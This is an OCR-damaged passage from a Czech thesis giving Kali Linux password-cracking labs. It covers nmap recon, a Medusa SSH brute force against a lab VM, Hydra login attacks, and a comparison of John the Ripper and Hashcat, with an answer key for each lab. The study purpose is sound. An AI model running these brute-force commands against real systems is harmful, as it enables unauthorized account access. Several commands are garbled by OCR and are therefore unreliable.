Prvnim krokem pri analyze pachatelova PC by bylo jeho zapnuti a zji$téni, Ze je
pocitac zaheslovany. PrihlaSovaci obrazovka vSak penetratnimu testerovi poskytuje
i dal$i informaci a tou je prihlaSovaci jméno uzivatele pocitace. To je velice potfebna
informace, protoZe nyni nebude zapotrebi hledat uZivatelské jméno i heslo, nybrz
pouze heslo k danému nazvu uctu. Nastroj Medusa totiZ pomoci utoku hrubou silou
zkousi dosazovat prihlasovaci tidaje z pfedem definovanych slovnikli. Pokud neni
znamo uzivatelské jméno ani heslo, je nutné pouzit slovnik pro oba tyto udaje, ¢cimZz
se zvySuje slozitost a Casova narocnost reSeni (je totiZ nutné porovnavat kazdy
zaznam ze slovniku se jmény s kazdym zaznamem ze slovniku s hesly). Proto pri
zjiSténi uzivatelského jména odpada nutnost hledat i jméno a cely proces je ¢asové
ivypocetné méné narocny. Jméno je ramci tohoto labu znamé, protoZe je definovano
v zadani. Postup je vS8ak moZné nasimulovat tak, Ze je virtualni pocitac se systémem
Lubuntu mozné vypnout a nasledné zapnout, coZ umoZiiuje zjistit o jaké
prihlaSovaci jméno se jedna.

Pfi samotném prolamovani hesla pomoci nastroje Medusa je nejdrive potreba zjistit,
jaké dalsi IP adresy se nachazeji v dané siti. Tuto informaci lze ziskat po zadani
prikazu arp -a do prikazové radky. Kali Linux obsahuje ve svém zakladu také nastroj

arp-scan, ktery po zadani parametru -/ vypiSe detailnéjsi informace o zaftizenich

v siti. V tomto piipadé byly vypsany dvé IP adresy (viz Obrazek 25).

.100) at OB:00:27:b3:2b:68 [« BT eth@d
] at @8 - ' 5E ’ BT eth@

Obrazek 25 Vypis do konzole po zadani prikazu arp -a.
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Otazkou je, ktera zIP adres je cilovy pocita¢. Vtomto pripadé je mozZné tuto

sz

informaci zjistit po zadani ptikazu nmap -sV [IP adresa] (parametr -sV definuje, Ze

v e

jsou vypsany sluzby bézici na daném zarizeni a jejich verze). Na obrazku niZe (viz
Obrazek 26) je moZzné vidét, Ze IP adresa s koncovku 100 neodpovida a zda se byt
vypnuta. Naopak u IP adresy s koncovkou 103 je mozné vidét, Ze host je on-line.

Navic je zde poskytnuta dalsi diileZitd informace pro dalsi postup ttoku - sluzba,

7 7

ktera miiZe byt vyuZita pro utok. V tomto pripadé se jedna o sluzbu ssh béZici na

otevieném portu 22.

192.168.56.100
Starting Nmap 7. ( https://nmap.org ) at 2023-08-02 06:09 EDT
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using —system-dns or specify valid server
s with —dns-servers
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (@ hosts up) scanned in 0.12 seconds

192.168.56.103
Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-02 06:09 EDT

mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using —system-dns or specify valid server
s with —dns-servers

Nmap scan report for 192.168.56.103

Host is up (0.00027s latency).

Not shown: 999 closed tcp ports (conn-refused)

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu@.3 (Ubuntu Linux; protocol 2.0)
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds

Obrazek 26 Vypis prikazu nmap pro obé IP adresy.

Bylo tedy zjisténo, Ze pocitac, na ktery je cilen titok ma IP adresu 192.168.56.103
a pro utok je mozné vyuzit sluzbu ssh.

Nasleduje popis parametrii nastroje Medusa, ktery bude k Gtoku vyuzit. Opét, jako
u vSech ostatnich nastrojii, tak i u nastroje Medusa je moZné vypsat napovédu
pomoci prikazu medusa -h. Obecné lze zakladni pfikaz pro spusténi prolamovani

hesla pomoci nastroje Medusa specifikovat takto:

medusa [-h IP adresa | -H List IP adres] [-u Uzivatelské jméno | -U List uzivatelskych jmen]
[-p Heslo | -P List hesel] [-M Specifikace sluzby] [-n ¢islo portu] -f [-t Pocet login(
testovanych soucasné]

Prvni je specifikovan typ nastroje (v tomto pripadé se jedna o nastroj Medusa).
Dal$im parametrem je specifikace [P adresy. Ta miiZe byt zaddana pouze samostatné
(definovano malym pismenem -h) nebo se miiZe jednat o list IP adres, ktery ma byt
prolomen (definovano pomoci velkého pismena -H). Nasleduje parametr pro
uzivatelska jména. Zde je funkce obdobna - malé -u definuje retézec jednoho

uzivatelského jména a -U list uZzivatelskych jmen. Naprosto stejné je to i v pripadé
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hesel, kde se méni pouze pismena -p a -P. V dalsi ¢asti je moZné specifikovat sluzbu
pomoci velkého pismena -M a port, na kterém béZi, pomoci parametru -n. Parametr
-f, stejné jako u nastroje Hydra, zastavi proces vyhledavani po nalezeni prvni shody.
Jako dalsi parametr lze zvolit pocet prihlaSovacich udajii, které budou zkouSeny
soucasné.

Parametry, pro vytvoreni prikazu jsou nasledujici:

e [P adresa 192.168.56.203,

e uzivatelské jméno, které bylo zjiSténo v predchozim postupu,

e heslo bude testovano oproti slovniku rockyou,

e sluZba, ktera bude cilem utoku bude sluzba ssh beZici na portu s Cislem 22,

e pocet hesel testovanych zaroven je moZzné zvolit naprtiklad 10,

e parametr -f, pomoci kterého dojde kukonceni hledani hesla po nalezeni
spravné kombinace,

e vystup, v podobé logu, bude delegovan do definovaného souboru pomoci

parametru -0.

Vlogu jsou nasledné zobrazeny informace o parametrech pfi spu$téni nastroje,
nalezené spravné kombinace uZivatelskych jmen a hesel a nasledné informace

o ukonceni béhu nastroje viz Obrazek 27.

| ~[Desktop/newFileLog.txt - Mousepad

File Edit Search View Document Help

B & o C x ]

l|ff Medusa v.2.2 (2023-08-02 08:03:32)

2 # medusa -h 192.168.56.103 -u radek -P /usr/share/wordlists/rockyou.txt -M ssh -n 22 -t 10 -f -0 Desktop/newFilelog.txt
3 ACCOUNT FOUND: [ssh] Host: 192.168.56.103 User: radek Password: gwerty [SUCCESS]

4 # Medusa has finished (2023-©8-02 08:03:38).

5

Obrazek 27 Log z nastroje Medusa uloZeny do souboru.

Otazka ¢. 4 Jak bude, dle informaci zjiSténych v predchozich ¢astech labu vypadat

prikaz pro spusténi nastroje Medusa?

V tuto chvili bylo pomoci nastroje Medusa zjiSténo heslo pro prihlaSeni do uctu
pachatele ve virtualnim pocita¢i Lubuntu. Nasledné je jiZ jednoduché navazat
spojeni pomoci sluzby ssh s danym pocitacem a v ném pracovat pomoci prikazové

radky. Navazat spojeni spocitatem je mozné po zadani prikazu ssh
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nazevPC@192.168.56.103. Nasledné bude reSitel vyzvan k zadani hesla, které bylo

zjiSténo pomoci nastroje Medusa. Po zadani heslo je navazano spojeni s pocitatem

a je moZné na ném provadét potrebné prikazy viz Obrazek 28.

https://ubuntu.com/pro

RozSifena Odriba zabezpeceni pro Applications neni povolena.

ezpedeni.
nebo spust

//changelogs.ubuntu.com/meta-release-1ts. Check your Internet connection or proxy settings

from 192.168

Obrazek 28 Vytvoreni spojeni pomoci ssh k pocitaci pachatele a vypsani
zakladnich prikazi v CLI.

7.4.2 Zavér Lab ¢.3

V labu ¢. 3 byl fesitel sezndmen s principem on-line ttokl. Pro reprezentaci on-line
utokd byly zvoleny dvé modelové tlohy. V prvni uloze bylo reSitelovym cilem
prolomit prihlaSovaci udaje k fiktivni webové strance. Pri reSeni tohoto ukolu byl
FeSitel seznamen se zakladnimi funkcemi nastroji Hydra a Burpsuite. V druhé ¢asti
ulohy bylo reSitelovym cilem vzit se do situace penetra¢niho testera, jehoZ ukolem
je prolomit prihlaSovaci udaje do pocitace, ktery se nachazi ve stejné siti, za pomoci
sluzby ssh. Jako nastroj pro vypracovani této ulohy byl zvolen nastroj ze zakladni
sady systému Kali Linux s nazvem Medusa.

JelikoZ oba on-line utoky prolamovaly hesla za pomoci dtokd hrubé sily, tedy
zkouSely veSkeré kombinace hesel k predem definovanym uZivatelskym jméntim,
byla pro reSeni labu zvolena takova hesla, ktera jsou pomérné rychle prolomitelna,

aby nevznikaly ¢asové prodlevy pri feSeni labu.

83


http://radekc3192.lo8.56.103
https://help.ubuntu.com
https://landscape.canonical.com
https://ubuntu.com/advantage
https://ubuntu.com/pro
https://ubuntu.com/esm
https://changelogs.ubuntu.com/meta-release-lts

Reseni otazek Lab ¢. 3

Otazka ¢&. 1 Pomoci jakého pifkazu lze spustit server apache2? (Viz. Lab & 2 - Utok
pass the hash pomoci nastroje mimkatz
a Metasploit)

Odpovéd’ €. 1 service apache?2 start

Otazka ¢.2 O jaké proménné se jednd? viz. Obrazek 22 Vystup z programu
Burpsuite po zprocesovani odeslaného formulare.

Odpovéd’ €. 2 username a password

Otazka ¢. 3 Jak bude, dle informaci zjisténych v predchozich formuléafich vypadat
prikaz pro spusténi nastroje Hydra?

Odpovéd' ¢. 3

hydra -1 userl234 -P /usr/share/wordlists/rockyou.txt
-f 192.168.56.101 http-post-form ,»/login.php:username=userl234&password="PASS":Wrong
username or password®

Otazka ¢. 4 Jak bude, dle informaci zjiSténych v predchozich ¢astech labu vypadat
prikaz pro spusténi nastroje Medusa?

Odpovéd ¢. 4

medusa -h 192.168.56.104 -u user -P /usr/share/wordlists/rockyou.txt -M ssh -n 22 -t 10 -f
-0 Desktop/fileName.txt
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75 Lab ¢.4 - Analyza offline prolamovacich nastroju
konstruujicich utok hrubou silou

Lab ¢. 4 je zaméfen na pouZiti nékolika vestavénych nastrojii opera¢niho systému

Kali Linux. Pokud jsou splnény veSkeré kroky z kapitoly Spole¢tné poZadavky, jsou

nastroje pouzité v tomto labu jiZ predinstalované ve virtualnim pocitaci.

Potfebné nastroje:

e Hashcat

e John the Ripper
Dal8i potrebné atributy:

e pro feSeni této ulohy bude nutné vytvorit dataset hesel, pomoci kterych

budou nastroje analyzovany

Casova naroc¢nost: 80 az 90 minut (pri jednotce Casu 10 minut), pfi zkraceni

jednotky ¢asu napft na 5 minut je to 40 azZ 50 minut.

Cil ulohy
Cilem tohoto labu je sezndmeni reSitele s efektivitou jednotlivych nastroji, které
umoZiiuji prolamovat hesla za pomoci off-line titoku hrubou silou. Resitel se vZije do
role penetrac¢niho testera, ktery potirebuje zanalyzovat efektivitu (resp. porovnat
parametry a funkce a stanovit, ktery je pro dany typ ulohy efektivnéjsi) nastrojt
Hashcat a John the Ripper. Oba tyto nastroje jsou obsaZeny v zakladni sadé nastrojt
systému Kali Linux. Nastroje budou analyzovany na testovacim datasetu hesel

vytvoreném specialné pro tutu ulohu.

Seznameni s nastroji

Nastroje HashcataJohn the Ripper jsou oba zakladnimi nastroji opera¢niho systému
Kali Linux. Oba nastroje umoznuji off-line prolamovani hesel za pomoci utoku
hrubou silou. Kazdy z nastrojii ma vsak specifickou sadu funkci, kterd miZe byt
klicova pti rozhodovani se, jaky nastroj bude v dané uloze lepSi pouZit a jak nastroje

optimalné nastavit.
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Fiktivni use case

Scénar modelové situace mlZe mit nasledujici podobu. Cilem feSitele v pozici
penetracniho testera je zjistit, ktery nastroj pouZit v pripadé, Ze by nékdy
v budoucnu bylo jeho ukolem prolamovat hesla utokem hrubou silou pfi off-line
utoku. Tester vytvori testovaci dataset hesel, na kterém bude nasledné testovat dva
nastroje ze sady Kali Linux, které jsou k prolamovani pomoci hrubé sily urcené
(nastroj Hashcat a John the Ripper). Zavérem tester porovna efektivitu téchto
nastrojii pri prolamovani hesel za stejnou jednotku ¢asu a stanovi, ktery z nastroji

je vhodnéjsi pro reSeni dané modelové ulohy.

7.5.1 Vlastni postup Lab ¢. 4

Ukolem Fesitele v ramci labu je nejdfive vytvotit dataset hesel, ktery bude nasledné
pouZzit k testovani nastroji labu. Dalsi ¢asti postupu labu je vytvofeny seznam

zahaSovanych hesel prolamovat pomoci nastrojii Hashcat a John the Ripper.

Vytvoreni testovaciho datasetu

Pro testovaci analyzu je nutné zvolit vhodnou bazi hesel. Dataset zvoleny pro tuto
ulohu plivodné slouzi jako ucici dataset pro neuronové sité, pro rozpoznani
jednoduchych, stiredné slozitych a sloZitych hesel. Pro pouZiti v tomto labu je idedlni,
protoZe obsahuje jak jednoducha a kratka hesla, tak obsahuje i hesla komplexni.
Takovy rozsah sloZitosti hesel je idealni k analyze nastroji pro utoky hrubou silou.
Pouzity dataset se nachazi na webové strance Kaggle (Password Strength Classifier
Dataset), kde je po prihlaSeni volné stazitelny. Nevyhodou je, Ze je uloZen ve formatu
csv. Tento format nejsou nastroje Hashcat ani John the Ripper schopné zpracovat.
Dal8im uskalim tohoto souboru je, Ze obsahuje 2 sloupce (prvni je sloupec s heslem
a druhy s Kklasifikaci sily hesla, ktery je napomocny pri uceni neuronové sité).
V tomto labu v3ak informace o sile hesla neni potrebna. Testovaci dataset je tedy
nutné modifikovat, aby odpovidal potfebam labu.

Prvnim krokem je otevieni souboru v programu, ktery umi pracovat se soubory csv.
Pripadné lze pouZzit Windows Excel, soubor v ném oteviit, oznacit sloupec
s hodnotami a vybrat na zaloZce ,Data“ polozku ,Text do sloupct“. Po otevieni

dialogového okna je nutné vybrat moZnost ,Oddélovac“ a v nasledujicim kroku

86



vybrat moZnost oddélovate pomoci ,Carky“. Nakonec Kkliknout na tla&itko
»Dokoncit“. Nyni by mél byt soubor rozdélen do dvou sloupcti. Druhy sloupec se
silou hesla je moZné smazat a soubor uloZit opét ve formatu csv.

Po otevireni souboru v systému Kali Linux je moZné vidét, Ze se z divodu preuloZeni
souboru do csv v programu Excel vloZily na konec kazdého retézce stiedniky. Ty je
mozné odstranit zadanim prikazu
sed,s/://q adresaCSVSouboru.csv > adresaVystupnihoSouboru.txt. Ptikaz sed (stream
editor) je vestavéna funkce prikazové radky. Tento prikaz umoZiuje vyhledavat,
vkladat, mazat, editovat a modifikovat soubory. Sada parametrii v tomto piipadé
definuje, Ze v souboru budou vyhledany veSkeré znaky ,;“ a nahrazeny prazdnym
retézcem. Je mozné, Ze néktera hesla v souboru obsahovala specidlni znak ,;“ jako
Fetézec hesla, jejich pripadné smazani vSak nema na priibéh tohoto labu Zadny vliv.
Takto upravena sada hesel je nasledné uloZena do textového souboru, se kterym jiz
nastroje dokaZou pracovat.

Pokud byla editace souboru za pomoci programu Excel v prvnim kroku provadéna
na pocitaci s operacnim systémem Windows, je pro spravny vystup labu dtleZité,
aby bylo u vytvoreného textového souboru prepnuto nastaveni ,Line Ending“ do

formatu ,Unix (LF)“ (viz znazornéni na obrazku niZe (viz Obrazek 29)).

~[Desktop/testIDK.txt - Mousepad
File Edit Search View O
DR O

1 password
2 kzde5577
3 kino3434
4 visi7klyr
5 megzy123 Line Ending » @ Unix(LF)

Write Unicode BOM Mac (CR)

Filetype

6 lamborghini|

7 AVYQ11DE4MEAZTNE
8 u6c8vhow Viewer Mode DOS / Windows (CR LF)
9 v1118714

10 universe2908

11 as326159

12 asv509yu

13 612035180t ok ® testiDK.txt
14 jytifoks73

15 WUt9IZZE0Q7PKNE

Obrazek 29 Prepnuti nastaveni Line Ending v textovém souboru.

Takto pripraveny soubor zbyva jiZ jen zahaSovat. K zahaSovani souboru je pouzit
stejny script, jako byl pouZit v kapitole Testovaci soubor s hesly v Labu ¢. 1. Bude se

tedy jednat o bashovy script, ktery vypada nasledovné:
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1. #!/bin/bash

2. File="Desktop/dataset.txt"

3. Lines=$(cat $File)

4. for Line in $Lines

5. do

6. echo -n $Line | sha256sum | awk '{print $1}' >> Desktop/hashedDataset.txt &
7. done

V tomto scriptu je mozné pomoci pridani parametru ,&"“ paralelizovat jednotlivé
piikazy a diky tomu dosahnout rychlejsiho priibéhu hashovani souboru. Efektivita
paralelizace se odviji od zvolenych prostiredkli pro dany virtudlni stroj. JelikoZ
v ptivodni bazi hesel je priblizné 640 tisic Fetézcli, neni nutné hashovat vsechna
hesla. Script sta¢i nechat pracovat pribliZzné 3-5 minut. Vysledek (ptibliZné 100 tisic
hesel vygenerovanych pri paralelnim generovani hashii) bude i tak pro potieby labu

dostacujicl.

Prolamovani hesel pomoci nastroje John the Ripper
Pri feSeni této ulohy jsou pouZity riizné prolamovaci médy nastroje John the Ripper.
Méfrena je efektivita urcena podle poctu prolomenych hesel za pfedem urcenou
jednotku ¢asu (v tomto pripadé 10 minut). Tento ¢asovy odhad byl zvolen s ohledem
na Casovou narocnost labu. V pripadé potieby sniZeni ¢asové narocnosti labu je
moZné sniZit i casovou jednotku na 3-5 minut. Je vSak nutné pocitat se zkreslenim

vysledkd.

Metoda Markovovych retézcii

Jako prvni metoda pri prolamovani hesel hrubou silou je zvolena Markovova
metoda. Markovovy fetézce vyuzivaji principu, Ze nasledujici stav je zavisly na stavu
aktualnim nebo na urcitém poctu predchozich stavii. V nastroji John the Ripper je
této skutecnosti vyuzivano nasledovné. Pomoci utoku hrubou silou jsou nadhodné
vyhledavany retézce a ve chvili, kdy je uspéSné prolomeno jedno heslo, jsou na
prolamovani aplikovany postupy zteorie Markovovych tetézcl. Lze tedy
konstatovat, Ze ¢im vice je prolomenych hesel v daném souboru, tim vétsi je

pravdépodobnost prolomeni i hesel nasledujicich. Obrazek 30 nazorné ukazuje
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aplikaci Markovovych fetézcli pti prolamovani hesla. Z obrazku je patrné, Ze se

postupné prolamovana hesla lii pouze v drobnych odchylkach.

1 Loaded 186067 password hashes with no different salts (Raw-
SHA256 [SHA256 256/256 AVX2 8x])

2 Remaining 181733 password hashes with no different salts

3 satrial23 (?)

4 satrial2

5 satriagg

6 satria9s

7 satria@5s

8 satria7o0e

9 satria72

10 satria89

11 satratourl

12 satrapal23

13 satralgsl

14 ouninl647

15 satrlani

16 sattu3l

—
-l
i

and el el ewmd end ewd emd snd swd e ey swd
Tt Tt Vit it Vit Vit Vit Vit i it it iagit®

J

J

S L

J

Obrazek 30 Vypis prolomenych hesel pomoci Markovovych retézcii.

Piikaz pro spusténi prolamovani hesel miiZe vypadat nasledovné:

john --markov=268 --min-length=5 --max-length=12 --fork=6 --format=Raw-SHA256
Desktop/hashedDataset.txt > Desktop/outputJOHN.txt

Prvni je definovan nastroj (v tomto pripadé se jedna o John the Ripper) zadanim
zkratky john do prikazové radky. Dale je specifikovan mod utoku (--markov=268).
Cislo za rovnitkem definuje maximalni tiroveii sily hesla (maximalni mo%n4 volba je
400), ktera bude zkouSena. Dal$imi parametry jsou --min-length a --max-length
definujici minimalni a maximalni délku testovaného hesla. Nasleduje parametr -fork.
Pomoci tohoto pfikazu bude rozdélen prostor souboru do X oddilti (minimalné do 2,
maximalné do hodnoty poctu vlaken procesoru povolenych pro dany virtualni stroj).
Pro kazdi oddil bude nasledné spustén jeden proces, ktery bude mit na starosti
prolamovani hesel. V této ¢asti labu budou postupné testovany vystupy pro 2,4 a 6
vlaken. Poslednim parametrem je definice hash formatu, ve kterém jsou hesla
uloZena. John the Ripper ma tu vyhodu, Ze dokaZe typ hashe rozpoznat. V tomto labu

se vSak jedna o testovaci ulohu, ve které je predem znamé, Ze jsou hesla zahaSovana
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pomoci funkce SHA-256. Na zavér je v piikazu definovan jiZ jen soubor s hashy,
které je cilem prolomit. VeSkeré vysledky jsou smérovany do vystupniho souboru
s nazvem output]OHN.txt.

Vysledky testli této Casti labu pro 2, 4 a 6 vlaken procesoru pouZitych pro vypocty
prolamovani hesel jsou zminény v nasledujici tabulce (viz Tabulka 5).

Tabulka 5 Tabulka reprezentujici vysledky prolamovani hesel pomoci
Markovovych retézcii.
Pocet vlaken 2 4 6

Polet prolomenych hesel | 2400 9 300 11100

za jednotku ¢asu (10 min)

Z tabulky je moZné usoudit, Ze za stejnou jednotku ¢asu roste XXXX (viz Otazka ¢. 1)

pocet prolomenych hesel pfi pouZiti metody Markovovych retézct.

Otazka €. 1 Jak Ize definovat pomoci udajii v tabulce (viz Tabulka 5) rostouci pocet
prolomenych hesel s rostoucim poctem vldken (rlist je exponencialni, logaritmicky

Ci linearni)?. A jak s pribyvajicimi vlakny roste uzitek?

Metoda Wordlist a Prince v nastroji John the Ripper

V nasledujici metodé bude zminéno prolamovani pomoci béZného slovniku.
Slovnikovy utok je zminén jiz v labu ¢. 1. V prvnim labu byl vSak utok konstruovan
pomoci nastroje Hashcat a cilem bylo prolomit pouze urcita hesla. V tomto labu je
vSak cilem porovnat tento mod utoku s ostatnimi utoky v nastroji John the Ripper.
Metoda Prince je velice podobna slovnikovému ttoku. Rozdil je ale v tom, Ze slova
nejsou zkouSena pouze samostatné, ale jsou zaroven kombinovana do stale delSich
Fetézcl. To mliZe mit za nasledek, Ze i pomérné kratky slovnik miiZe byt schopen
vygenerovat velké mnoZstvi kandidatii na prolomenti hesla.

Tyto metody jsou definovany podobné jako metoda Markov. Jediny rozdil v definici
metod wordlist a prince je oproti Markovové metodé nutnost pouZit slovnik pri
prolamovani hesel. V obou pripadech je vyuZzivan slovnik rockyou. Definice metody
pak vypadaji nasledovné: -wordlist a -prince, kde nasleduje odkaz na slovnik

Jusr/share/wordlists/rockyou.txt.

Otazka €. 2 Jak budou vypadat piikazy v CLI pro spusténi téchto titokdi?
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Pomoci slovniku rockyou se podarilo za pouziti metod prince a wordlist prolomit
nasledujici pocty hesel:

Tabulka 6 Pocet prolomenych hesel pomoci metod Wordlist a Prince.
Metoda Wordlist Prince

Poclet prolomenych hesel | 12 300 21500

za jednotku ¢asu (10 min)

Z 1dajl v tabulce vyse (viz Tabulka 6) Ize usoudit, Ze metoda prince je na typovém

=<

eSeni ucinnéjsi neZ metoda Wordlist.

V této Casti labu bylo vybrano a analyzovano nékolik metod ttokli nastrojem John
the Ripper. Tento nastroj umozZiiuje i dal$i metody prolamovani hesel, jako je
napfiklad single, rules. Ty vSak sohledem na ¢asovou narocnost labu nebyly

zminény.

Prolamovani hesel pomoci nastroje Hashcat
ProtoZe cilem tohoto labu je zjistit, jaky nastroj je vhodnéjsi pro reSeni podobné
typové ulohy, je tato ¢astlabu zamérena na zhodnoceni efektivity prolamovani hesel
pomoci nastroje Hashcat. V ramci nastroje Hashcat bude testovan primy slovnikovy
utok odpovidajici slovnikovému tutoku v nastroji John the Ripper a utok hrubou

silou, coZ miiZe byt obdoba utoku pomoci Markovovych fetézci.

Utok hrubou silou v nastroji Hashcat

Pri utoku hrubou silou pomoci nastroje Hashcat je nutné specifikovat masku, ktera
zastupuje rtizné znaky. JelikoZ se jedna o utok hrubou silou, bude jeden zastupny
znak masky definovan jako ,?a“ (za tento zastupny znak miiZe byt doplnén jakykoliv
charakter (specialni znaky, cisla, velka a mala pismena)).

Prvni specifikaci je typ hashe (v tomto piipadé opét SHA-256). Dalsim parametrem
je parametr -D vyjadrujici, zda bude utok provadén na CPU ¢i GPU (hascat umoZiiuje
oproti nastroji Jack the Ripper i akceleraci pomoci GPU). Dale je nutné specifikovat
parametr --increment. Pokud neni tento parametr specifikovan, generuji se pouze
hesla o délce zadané masky (pokud ma maska 8 znakt, budou generovany pouze
Fetézce o délce 8 znakl). Diky parametru --increment tak lze zajistit, aby byly

generovany i fetezce o délce 1, 2, ..., N, kde N je délka masky. Ddle je v dotazu nutné
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zadat jiZ jen soubor se zahaSovanymi hesly a soubor, do kterého budou ukladany
vysledky. M6d utoku byl zvolen pomoci CPU za ucelem dalSiho porovnavani

vysledkd, jelikoZ John the Ripper podporuje pouze CPU akceleraci.

Otazka ¢. 3 Jak bude vypadat piikaz v CLI pro spusténi tohoto Gtoku?

Nasledné bude spustén slovnikovy utok, jehoz zakladni nastaveni je obdobné jako
nastaveni vySe popsaného utoku hrubou silou. Rozdily jsou pouze v tom, Ze typ
utoku je nastaven na primy slovnikovy utok, je pridan odkaz na soubor se slovnikem
a odebrana maska a parametr --icrement. Nastaveni prikazu poté vypada

nasledovné:

hashcat -m 1400 -a @ -D 1 odkazNaSouborSHashy.txt odkazNaSlovnik.txt -o vystupniSoubor.txt

Zjisténé vysledky jsou zapsany v nasledujici tabulce (viz Tabulka 7).

Tabulka 7 VysledKky prolamovani hesel pomoci nastroje Hashcat.
Typ utoku v nastroji Hashcat | Slovnikovy Hrubou silou

Pocet prolomenych hesel za | 16 500 6 700

jednotku ¢asu (10 min)

Z celkového poctu hesel bylo prolomeno 16 500 pomoci slovnikové metody. Av§ak
pomoci metody utoku hrubou silou bylo prolomeno za definovanou jednotku ¢asu
pouze 6 700 hesel. MenSi pocet prolomenych hesel touto metodou je zapri¢inén
nutnosti pouZziti masky a s ni spjaté inkrementa¢ni metody. Nastroj je z tohoto
diivodu nucen postupovat v do vycerpani vsech kombinaci pii daném poctu znakd.
Je tedy moZné, Ze nalezne veSkeré mozné Sestimistné retézce v souboru s hesly, ale
zdaleka nebudou vycerpany vSechny Sestimistné kombinace. Nastroj je tak nucen
dopocitat vSechny zbylé mozné kombinace, i kdyZ existuje moZnost, Ze se v nich
Zadné heslo jiz nachazet nebude. Tento postup tedy neni idealni ani v pripadé, Ze

bude zapnut parametr ,markov-classic“ podporujici Markovovy retézce.
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7.5.2 ZavérLab¢. 4

Cilem labu ¢. 4 bylo nastinit reSiteli mySlenkovy postup penetra¢niho testera pfri
analyze nastroji pro prolamovani hesel. Pomoci této rychlé a nenaro¢né analyzy lze
interpretovat pomérné dobry vysledek.

Diky jednoduché analyze obou néastrojii (vysledky prolamovéani jsou zminény
v predeSlém postupu labu) lze usoudit, Ze pro prolamovani hesel hrubou silou je
vhodnéjsi nastroj John the Ripper (pokud je tedy moZné priradit pocitaci dostatecné
mnoZstvi vlaken). Nastroj Hashcat zaostava z diivodi zminénych v predchozim
odstavci. Navic nastroj John the Ripper neni limitovan postupnou inkrementaci
délky retézce.

Je také nutné zminit, Ze nastroj John the Ripper byl omezen na délku retézce 5-12
znakl, takZe nemél moZnost odhalit extrémné kratka hesla, ktera by diky
Markovovym fetézcim byla prolomena velice rychle. Toto omezeni bohuZel
v nastroji Hashcat kviili nutnosti zadavani masky a inkrementu nelze nastavit.
Nastroj Hashcat tak prolamoval hesla v rozsahu 1-12 znak.

Naopak z analyzy vyplyva, Ze nastroj Hashcat je vhodnéjsi pro prolamovani hesel
pomoci slovnikii a modifikovanych wordlisti. Nastroj Hashcat a jeho slovnikovy
mad je rychlejSi nezZ nastroj John the Ripper pfi prolamovani pomoci slovniku, i kdyz
nema povolenou GPU akceleraci. Lze tedy konstatovat, Ze na prolamovani hesel
pomoci wordlistli pfi zapnuti GPU akcelerace, by byl nastroj Hashcat jesté
efektivnéjsi. NejefektivnéjSi se vSak projevila metoda Prince v nastroji John the
Ripper. Ta byla za stejny €as schopna prolomit nejvice moZnych hesel. Pri této

metodé je vSak klicovy vybér slovniku.
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Odpovédi na otazky Lab ¢. 4

Otazka ¢. 1 Jak Ize definovat dle udajii v tabulce (viz Tabulka 5) rostouci pocet
prolomenych hesel s rostoucim poctem vldken (riist je exponencialni, logaritmicky,
linearni, ...). A jak s pribyvajicimi vlakny roste uZzitek?

Odpovéd’ ¢. 1 jako logaritmicky nariist a lze Fici, Ze s prirlistkem vlaken neroste

uzitek z poc¢tu prolomenych hesel

Otazka €. 2 Jak budou vypadat piikazy v CLI pro spusténi téchto titokdi?
Odpovéd' ¢. 2

-wordlist/--prince=/usr/share/wordlists/rockoyu.txt -fromat=Raw-SHA256 souborSHashy.txt >
vystupniSoubor.txt

Otazka ¢. 3 Jak bude vypadat piikaz v CLI pro spusténi tohoto Gtoku?
Odpovéd' ¢. 3

hashcat -m 1400 -a 3 -D 1 --markov-classic --increment souborSHashy . txt
?ar’arar’ar’ararara’ar’ar’a’a -o vystupniSoubor.txt
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8 Zaveéry a doporuceni

Diplomova prace byla zaméfena na problematiku tykajici se bezpecnost
a prolamovani hesel. Hlavnim cilem prace bylo prolamovani hesel za vyuZiti
operacniho systému Kali Linux a jeho vestavénych nastroji. U nastrojii, které jsou
pfi prolamovani hesel klicové (Hashcat, John the Riper, Metasploit, Mimikatz,
Medusa, Hydra, CeWL, Crunch, Burpsuite), byla provedena analyza a seznameni
s jejich funkcemi a vyuzitim.

Nasledné byly v ramci prace vymysSleny a zkonstruovany utoky, které byly poté
FeSeny pomoci kombinaci vybranych néstrojii. Postupy reSeni byly zaznamenany do
tzv. labli. Na zac¢atku kazdého labu byl vzdy definovan cil, postup ulohy a fiktivni use
case, diky které byla uZivateli nastinéna dana problematika. Dale byl reSitel
provazen jednotlivymi kroky vedouci k vyreSeni labu. Soucasti kazdé ulohy byly
také pribézné otazky, na které by mél reSitel podle predem ziskanych informaci
umét odpovédét. Odpovédi na otazky pak byly soucasti posledni stranky kazdého
labu. Na konci labu byl v zavéru zhodnocen postup a vysledky ulohy.

Hlavnim cilem vSech labii bylo informovat a edukovat reSitele o jednotlivych typech
utoki vedoucich k prolameni hesel a o nastrojich zakladni sady Kali Linux, které pro
dany typ utoku slouZi. Vroli feSitele miZe byt napiiklad student ¢i kdokoli se
zajmem o operacni systémy, jenZ chce ziskat nové informace o opera¢nim systému
Kali Linux a jeho nastrojich ur¢enych k prolamovani hesel.

Informace nabyté zjednotlivych labli predstavuji dobry zdklad pro penetracni
testovani. Penetracni testovani je vSak velice komplexni obor zahrnujici daleko vétsi
mnoZstvi nastrojii a jejich kombinaci. Problematika bezpecnostnich auditii a hlubsi

vénovani se nastrojlim pro penetracni testovani by mohla byt soucasti dalsi prace.
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